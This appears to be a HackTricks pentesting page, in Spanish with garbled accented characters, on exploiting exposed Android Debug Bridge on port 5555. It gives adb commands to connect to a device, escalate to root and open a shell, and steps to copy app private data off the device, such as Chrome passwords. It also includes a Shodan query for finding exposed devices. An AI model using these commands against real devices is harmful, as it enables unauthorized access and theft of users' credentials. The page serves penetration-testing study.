5555 - Android Debug Bridge

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Informaci贸n B谩sica

De la documentaci贸n:

Android Debug Bridge (adb) es una herramienta de l铆nea de comandos vers谩til que te permite comunicarte con un dispositivo. El comando adb facilita una variedad de acciones en el dispositivo, como instalar y depurar aplicaciones, y proporciona acceso a un shell de Unix que puedes usar para ejecutar una variedad de comandos en un dispositivo.

Puerto por defecto: 5555.

PORT     STATE SERVICE VERSION
5555/tcp open  adb     Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)

Conectar

Si encuentras el servicio ADB ejecut谩ndose en un puerto de un dispositivo y puedes conectarte a 茅l, puedes obtener un shell dentro del sistema:

bash
adb connect 10.10.10.10
adb root # Try to escalate to root
adb shell

Para m谩s comandos de ADB, consulta la siguiente p谩gina:

ADB Commands

Volcar datos de la aplicaci贸n

Para descargar completamente los datos de una aplicaci贸n, puedes:

bash
# From a root console
chmod 777 /data/data/com.package
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
adb pull "/sdcard/com.package"

Puedes usar este truco para recuperar informaci贸n sensible como contrase帽as de chrome. Para m谩s informaci贸n sobre esto, consulta la informaci贸n y referencias proporcionadas aqu铆.

Shodan

  • android debug bridge

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks